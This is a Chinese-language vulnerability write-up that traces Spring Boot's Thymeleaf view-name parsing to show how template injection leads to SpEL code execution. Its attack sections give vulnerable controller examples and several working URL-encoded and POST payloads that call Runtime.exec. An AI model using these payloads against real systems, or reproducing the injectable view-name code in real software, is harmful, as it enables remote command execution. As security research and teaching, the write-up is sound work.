Thymeleaf模板注入

实验环境参考:https://github.com/veracode-research/spring-view-manipulation

背景知识

片段表达式

片段表达式语法:

  • ~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment。
  • ~{templatename},引用整个templatename模版文件作为fragment
  • ~{::selector} ~{this::selector},引用来自同一模版文件名为selectorfragmnt

其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
~{}片段表达式中出现::,则::后需要有值,也就是selector

预处理表达式

__${expression}__

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

流程浅析

先简单看下渲染一个模板的流程。

对于下面的 controller(注意:在使用@Controller定义时,返回的index不会被当作字符串,而是会作为一个模板名称):

@GetMapping("/")
public String index(Model model) {
    model.addAttribute("name", "World");
    return "index";
}

首先是处理请求org.springframework.web.servlet.DispatcherServlet#doDispatch的逻辑
image.png

前两步是根据请求的URL、HTTP方法等信息查找相应的HandlerHandler Adapter,具体的处理逻辑也就是执行我们写的controller代码是在

mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

这里返回的ModelAndView对象包含了模型数据和视图名称
image.png

processDispatchResult会根据ModelAndView对象处理视图渲染
image.png

renderDispatcherServlet会调用自己的resolveViewName方法根据视图名称和请求信息选出最适合的view对象,然后view对象调用它的render方法渲染模版处理请求。
image.png

DispatcherServlet#resolveViewName会从遍历viewResolvers中存储的ViewResolver对象,调用它们的resolveViewName方法来寻找。viewResolvers实在SpringBoot初始化的时候加载的
image.png

这里第一个调用的是ContentNegotiatingViewResolver,它不是直接解析视图名称,而是根据请求的内容类型或请求参数决定使用哪个其他视图解析器。
image.png

ContentNegotiatingViewResolver#resolveViewName选出View对象可以分为两步:

  • 获取候选视图:getCandidateViews(viewName, locale, requestedMediaTypes)方法会基于视图名称地区设置请求的媒体类型(Accept请求头)获取一系列候选视图。
  • 选择最佳视图:getBestView(candidateViews, requestedMediaTypes, attrs)方法从候选视图中选择最佳视图。这个选择是基于所请求的媒体类型,以及视图是否能够处理这些媒体类型。

getCandidateViews方法中可以发现,它依然是遍历自己的viewResolvers中的ViewResolver对象,然后调用它们的resolveViewName方法
image.png

这里就可以看到ThymeleafViewResolverresolveViewName方法被调用
image.png

跟进这个方法,最后我们可以看到View对象是通过ThymeleafViewResolver#loadView生成的,这里还没有涉及到模板文件的读取。
image.png

在由ContentNegotiatingViewResolver#getBestView选出最佳的View对象后,就会调用该对象的render方法。接着我们看下ThymeleafView#renderFragmentThymeleafView#render的最终调用。

ThymeleafView#renderFragment的处理流程大致可以分为三步:

  • 渲染Thymeleaf模板前的准备:这里主要是一些变量的检查和上下文的设置。
image.png
  • viewtemplateName的解析:漏洞的产生点,代码会根据viewtemplateName中是否含有::来决定是否要对其进行解析,最后解析出templateName变量。
image.png
  • 渲染模版,处理响应:在做好响应的类型、字符编码等配置后,使用viewTemplateEngine.process方法读取模板文件、解析模板内容、执行表达式、渲染结果等多个步骤。最后将内容返回给客户端
image.png

漏洞成因

漏洞的成因就在解析viewTemplateName的代码中,当viewTemplateName中含有::,会用"~{" + viewTemplateName + "}"包裹将其作为一个片段表达式,调用parser.parseExpression进行解析
image.png

跟进实现,StandardExpressionParser#parseExpression中有一步预处理的流程,根据名字可以猜到它处理的就是表达式中__${expression}__预处理表达式的部分
image.png

跟进StandardExpressionPreprocessor#preprocess,如果没有_直接返回
image.png

之后的解析流程会先用正则\_\_(.*?)\_\_匹配出预处理表达式之间的内容,再传给StandardExpressionParser.parseExpression进行解析(这是作为了一个变量表达式递归解析?),最后调用解析出来的IStandardExpression对象的execute方法
image.png

expression.execute的最后会将预处理表达式之间的内容作为SpEL执行表达式(加入学习列表)解析,进而触发任意代码执行。
image.png

小结一下:

  • 漏洞的成因是在ThymeleafView对象调用render方法渲染模板的时候产生的,准确的说应该是在解析自己的templateName属性时产生的
image.png
  • 当攻击者可以控制解析的templateName即可产生漏洞,具体而言满足的条件有(来自turn1tup师傅的总结):
    • 用户传入的字符串拼接到了Controller方法的返回值中且返回的视图非重定向(重定向优先级最高),或URI路径拼接了用户的输入且Controller方法参数中不带有ServletResponse类型的参数
    • 视图引擎名称中需要包含::字符串
    • 被执行表达式字符串前后需要带有两个下划线,即__${EL}__
    • 如果POC在URI中,由于URI格式化的原因且我们的POC中带有.符号,所以需要在URI末尾添加.

攻击方式

根据可控位置的不同,大致有三种利用场景

select

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "index :: " + section; // fragment is tainted
}

很简单易懂,payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

/path

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/index"; // template path is tainted
}

payload和上面一样,虽然第一感觉有点反直觉,但看到最后处理的viewTemplateName就懂了

user/__${new%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()}__::.x/index

URI PATH

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x

其他姿势

记下poc

# 构造回显,在最后加两个.
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..

# 最后只加个.也是可以的,不一定必须是.x
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.

# :: 位置不用固定
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

# POST方式
POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

# 省略__
# 情况如下
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
    return lang; //template path is tainted
}

GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090

参考

https://www.cnblogs.com/CoLo/p/15507738.html
https://xz.aliyun.com/t/9826
https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
https://github.com/veracode-research/spring-view-manipulation